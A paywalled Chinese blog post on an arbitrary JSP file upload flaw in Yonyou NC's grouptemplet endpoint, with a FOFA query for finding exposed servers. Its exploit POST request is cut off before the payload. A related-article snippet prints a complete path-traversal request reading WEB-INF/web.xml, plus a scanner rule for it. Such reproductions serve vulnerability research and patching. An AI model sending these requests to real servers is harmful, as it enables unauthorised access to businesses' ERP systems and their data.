用友NC grouptemplet 存在任意文件上传漏洞

最新推荐文章于 2024-10-04 08:00:00 发布
原创 最新推荐文章于 2024-10-04 08:00:00 发布 · 723 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#用友NC #web安全 #grouptemplet #任意文件上传漏洞

本文介绍了用友NC，一款基于云计算的企业管理软件，其提供了财务管理、供应链管理等模块，支持云端访问。同时提到了一个安全漏洞示例，展示了可能存在的风险。

声明：

本文仅用于技术交流，请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

简介

用友NC 是基于云计算技术的企业管理软件。它提供了一系列的功能模块，涵盖了企业的各个管理领域，包括财务管理、人力资源管理、供应链管理、生产制造管理等。通过云端部署，用户可以随时随地通过网络访问和使用这些功能，无需在本地安装软件，企业可以实现信息化管理，提高管理效率和决策能力。它提供了实时数据分析和报表功能，帮助企业监控业务运营情况，及时掌握关键指标和业绩表现。

资产搜索

fofa

icon_hash="1085941792"

漏洞复现

POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 246
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

-----
最低0.47元/天 解锁文章
cn_大腿
关注
用友NC grouptemplet任意文件上传漏洞（含批量验证poc）
weixin_43567873的博客
04-17 528
用友NC grouptemplet任意文件上传漏洞（含批量验证poc）
用友NC saveImageServlet 任意文件上传漏洞复现(XVE-2024-7471)
0xSec
04-12 1156
​用友 NC saveImageServlet 接口处存在任意文件上传漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。
用友NC Cloud saveImageServlet/doPost接口存在任意文件上传漏洞
wan___she__pi的博客
04-21 1114
用友NC Cloud 是基于云计算技术的企业管理软件。它提供了一系列的功能模块，涵盖了企业的各个管理领域，包括财务管理、人力资源管理、供应链管理、生产制造管理等。通过云端部署，用户可以随时随地通过网络访问和使用这些功能，无需在本地安装软件，企业可以实现信息化管理，提高管理效率和决策能力。它提供了实时数据分析和报表功能，帮助企业监控业务运营情况，及时掌握关键指标和业绩表现。同时，用友NC Cloud 还支持多终端访问，适应各种不同的设备和工作场景，方便用户灵活办公和协作。
用友 NC grouptemplet 文件上传漏洞
Keepb1ue的博客
04-16 1152
用友NC是一款企业级ERP软件。作为一种信息化管理工具，用友NC提供了一系列业务管理模块，包括财务会计、采购管理销售管理、物料管理、生产计划和人力资源管理等，帮助企业实现数字化转型和高效管理。漏洞介绍用友 NC grouptemplet接口处存在任意文件上传漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
【复现】用友NC-Cloud文件上传漏洞_70
fushuang333的博客
04-10 1510
【复现】用友NC-Cloud文件上传漏洞，上传文件漏洞的影响可能会非常严重，上传可执行代码可能让攻击者获得服务器控制权。
精选资源
用友NC任意文件上传漏洞利用工具
04-14
用友NC任意文件上传漏洞利用工具，用友NC6.5的某个页面，存在任意文件上传漏洞。漏洞成因在于上传文件处未作类型限制，未经身份验证的攻击者可通过向目标系统发送特制数据包来利用此漏洞，成功利用此漏洞的远程攻击...
用友NC grouptemplet 任意文件上传漏洞复现(XVE-2024-8857)
0xSec
04-24 725
​用友 NC grouptemplet 接口处存在任意文件上传漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。
用友NC-Cloud uploadChunk 任意文件上传漏洞
CommputerMac的博客
10-17 1235
用友 NC Cloud，大型企业数字化平台， 聚焦数字化管理、数字化经营、数字化商业，帮助大型企业实现 人、财、物、客的全面数字化，从而驱动业务创新与管理变革，与企业管理者一起重新定义未来的高度。为客户提供面向大型企业集团、制造业、消费品、建筑、房地产、金融保险等14个行业大类，68个细分行业，涵盖数字营销、智能制造、财务共享、数字采购等18大解决方案，帮助企业全面落地数字化。uploadChunk文件存在任意文件上传漏洞，攻击者通过此漏洞可实现上传木马文件，控制服务器。
用友NC-Cloud_importhttpscer接口存在任意文件上传漏洞（含批量验证poc）
weixin_43567873的博客
04-08 302
用友NC-Cloud_importhttpscer接口存在任意文件上传漏洞（含批量验证poc）
【HW必备】用友NC-Cloud存在17处漏洞合集
wananxuexihu的博客
06-24 3299
漏洞挖掘是指通过分析软件、系统或网络中存在的安全漏洞来发现并利用这些漏洞。漏洞挖掘是信息安全领域的一项重要工作，可以帮助企业和组织提高系统的安全性，避免黑客攻击和数据泄露。漏洞挖掘的流程一般可以概括为以下几个步骤：确定目标：确定要挖掘的软件或系统。这可能是一个应用程序、操作系统、网络设备或其他系统。收集信息：收集有关目标的信息，包括架构、协议、版本和配置等。这些信息可以通过互联网搜索、手动扫描、自动化工具和其他途径获得。分析漏洞：通过手动和自动化技术进行漏洞分析，识别潜在的漏洞类型和攻击面。
用友NC接口解决方案和思路！
01-06
此方案是解决用友NC与其他业务系统对接的资料，提供了现金的思想，并且实现了不同系统的数据共享和无缝连接。
【漏洞复现】用友NC cloud importhttpscer 存在任意文件上传
qq_34780861的博客
04-04 558
NC Cloud是用友推出的大型企业数字化平台。用友NC cloud importhttpscer 存在任意文件上传，攻击者可利用此漏洞获取服务器权限。
用友NC-Cloud系统反序列化漏洞(Fastjson)
2401_86352963的博客
10-04 899
用友NC Cloud是用友网络科技股份有限公司推出的一款企业级云服务产品，主要面向大中型企业提供全面的云计算解决方案。用友NC-Cloud /ncchr/pm/ref/indiIssued/blobRefClassSearch接口处存在FastJson反序列漏洞。攻击者可以构造恶意的JSON数据,在服务器上执行任意代码,从而控制整个服务器系统。
用友NC Cloud importhttpscer接口任意文件上传漏洞
故事讲予风听
04-20 1280
接口如果存在任意文件上传漏洞，这是一个严重的安全问题，因为它可能被攻击者利用来执行恶意代码、窃取敏感数据或进行其他形式的攻击。app="用友-NC-Cloud"用友NC Cloud的。用友NC Cloud。
用友NC Cloud存在前台远程命令执行漏洞
失心少年
07-21 847
NC Cloud是用友推出的大型企业数字化平台。 用友网络科技股份有限公司NC Cloud存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权
用友NC-Cloud全版本任意文件上传
初岄的博客
10-20 853
用友NC-Cloud最近爆出存在全版本任意文件上传漏洞的问题。现在已经确认了这个漏洞可以被攻击者利用，目前找不到此漏洞适用的最低版本。攻击者可以通过该漏洞将任意文件上传至服务器，并以此将webshell上传至服务器，从而获得服务器的命令执行权限。
用友NC Cloud uploadChunk任意文件上传漏洞复现 [附POC]
薛定谔嘚喵博客
11-22 506
用友 NC Cloud，大型企业数字化平台， 聚焦数字化管理、数字化经营、数字化商业，帮助大型企业实现 人、财、物、客的全面数字化，从而驱动业务创新与管理变革，与企业管理者一起重新定义未来的高度。用友NC Cloud uploadChunk接口存在任意文件上传漏洞
【漏洞复现】用友NC-任意文件上传-uploadFile
漏洞复现
05-05 603
用友NC是北京用友软件股份有限公司（简称“用友”）开发的一款企业管理软件，支持财务会计、人力资源、供应链、生产制造、客户关系管理等多个业务领域，涵盖了企业核心业务及管理流程。用友NC是基于B/S架构的软件系统，提供基于云计算、SaaS模式、本地部署等多种部署方式，广泛应用于国内外众多中小型企业和大型企业。用友NC允许攻击者通过uploadFile接口构造特定的请求包进行任意文件上传。该漏洞使得攻击者可以在受影响的系统上上传恶意文件，潜在风险包括远程执行恶意代码、访问敏感数据，以及其他危险操作。
用友NC Cloud accept.jsp任意文件上传漏洞
CommputerMac的博客
11-08 731
NC Cloud是用友推出的大型企业数字化平台。用友网络科技股份有限公司NC Cloud存在任意文件上传漏洞，攻击者可利用该漏洞获取服务器控制权。
用友NC portal/file任意文件读取漏洞详情及解决方案
最新发布
11-04
用友NC portal/file任意文件读取漏洞允许未经身份认证的攻击者通过该漏洞获取敏感信息，使系统处于极不安全状态。该漏洞的PoC如下： ```plaintext GET /portal/file?cmd=getFileLocal&fileid=..%2F..%2F..%2F..%2Fwebapps/nc_web/WEB-INF/web.xml HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close ``` 其poc params如下： ```plaintext poc params: [] name: 用友NC portal/file 任意文件读取漏洞 set: {} rules: - method: GET path: /portal/file?cmd=getFileLocal&fileid=..%2F..%2F..%2F..%2Fwebapps/nc_web/WEB-INF/web.xml headers: {} body: "" search: "" followredirects: false expression: response.status == 200 && response.body.bcontains(b"filter-mapping") groups: {} detail: author: "" links: [] description: "" version: "" ``` 关于解决方案，参考引用中未提及，一般来说可以采取以下通用措施：及时联系用友官方获取该漏洞的补丁并进行更新；对系统的访问进行严格的身份认证和授权管理，限制未授权的访问；对系统的文件读取功能进行审计和监控，及时发现和处理异常的文件读取行为 [^1][^3][^5]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值